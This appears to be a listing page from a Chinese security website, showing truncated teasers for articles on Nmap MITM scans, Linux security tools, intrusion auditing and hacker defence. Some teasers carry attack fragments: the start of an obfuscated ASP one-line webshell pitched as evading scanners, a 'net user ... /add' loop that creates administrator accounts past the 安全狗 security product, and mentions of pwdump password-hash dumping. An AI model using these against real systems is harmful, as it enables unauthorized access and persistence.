小编 Nmap备忘单：从探索到漏洞利用 第二章 MITM
这是我们的第二期NMAP备忘单（第一期在此）。基本上,我们将讨论一些高级NMAP扫描的技术，我们将进行一个中间人攻击(MITM)。现在，游戏开始了。 TCP SYN扫描 SYN扫描是默认的且最流行的扫描选项是有一定原因的。它可以在不受防火墙限制的高速网...
常用的Linux网络安全工具简介
常用的Linux网络安全工具简介 尽管各种版本的Linux distribution 附带了很多开放源代码的自由软件，但是仍然有大量的有用 的工具没有被默认包括在它们的安装光盘内，特别是有一些可以增强Linux网络安全的工具包，它 们大多也是开放源...
pwdump的使用方法
作者:kingboy 来源:中国鹰派联盟 不知道大家有没有用过pwdump这个工具，这是一个用来抓取NT、WIN2000的用户密码文档的工具，最新的pwdump3可以用来抓取WIN2000的密码档（因为WIN2000使用了SYSKEY，所以老的pw...
一句话木马加密 过护卫神云查杀系统 过shell扫描器
分享给大家 暂时未测试 大家自己用用看 大马的代码是简单加密了下的！很容易解开看见 是加密的一段代码 复制代码 代码如下: <% codeds=\”Li#uhtxhvw+%{{%,#@%{%#wkhq#hydo#uhtxhvw+%kn...
安全狗下添加用户的另一方法(大量操作实现突破)
前几天发现的，略无语，因为简单到。。 直接在命令行下使用 for /l %i in (1,1,1000) do @net user test test /add&@net localgroup administrators test /add ...
Linux入侵检测基础学习
一、审计命令 在linux中有5个用于审计的命令： last：这个命令可用于查看我们系统的成功登录、关机、重启等情况；这个命令就是将/var/log/wtmp文件格式化输出。lastb：这个命令用于查看登录失败的情况；这个命令就是将/var/log/b...
请问你是黑客的菜吗？有效防范黑客入侵的绝招
在大多数人看来，这也许只是网络世界中一群拥有高超电脑技术的专业人士代名词；或者，很多人印象中的黑客，就如同电影《黑客帝国》中展现的那样出神入化。Palo AltoNetworks日前发布了一项由其赞助的调查结果，这份调查揭露了神秘黑客的收入、攻击花费的...
你的账号密码是怎样丢失的？暴力破解攻击的检测和防御
之前我们讲过关于“黑客1小时内破解16位密码”这样可怕的事情，里面提及了很多安全专家反复提醒用户设置账户和密码时要尽可能多样化，以防被破解。要知道，在这个大数据称霸天下的时代，网络安全意味着什么，意味着一切。 众所周知，iClo...
如何逆向破解HawkEye keylogger键盘记录器进入攻击者邮箱
面对恶意邮件攻击，我们就只能默默忍受被他攻击，连自我保护能力都没有谈什么反抗？让人痛快的是，如今有了解决办法，逆向破解键盘记录器，进入攻击者邮箱。 这一切要从一次恶意邮件攻击活动开始。下图为我们最近监测到的一个以恶意文件为发送附件的邮件攻击，请注意邮件...
黑客都很厉害吗 厉害的只是一小部分
国家正在修正关于黑客方面的法律法规，有一条震惊黑客圈的“世纪佳缘”起诉白帽黑客事件，深深的伤害了广大黑客们的心，加上扎克伯格和特拉维斯·卡兰尼克账号被盗，于是黑客话题又开始变得火热，黑客真的如你所想神秘又强大？真正...
安全狗下加用户的又一方法
上次发了安全狗下加用户的另一方法，据说不够风骚…所以这次要淫荡一点 方法同样很简单，不过不知道有没有人发过。。PS: 转载请不要注明作者 0×01 测试环境： 安全狗的进程： .安全狗的服务 .开启远程桌面守护 .远程登录测试...
防止黑客入侵系统建立很难发现的隐藏帐户
面对黑客在自已的电脑中建立一个隐藏的账户，用户应该怎么办?虽然账户隐藏技术可谓是最隐蔽的后门，一般用户很难发现系统中隐藏账户的存在。其实只要用户细心观察做到以下几点，即能发现其中的奥妙。 把“隐藏账户”请出系统 隐藏账户的危害可...
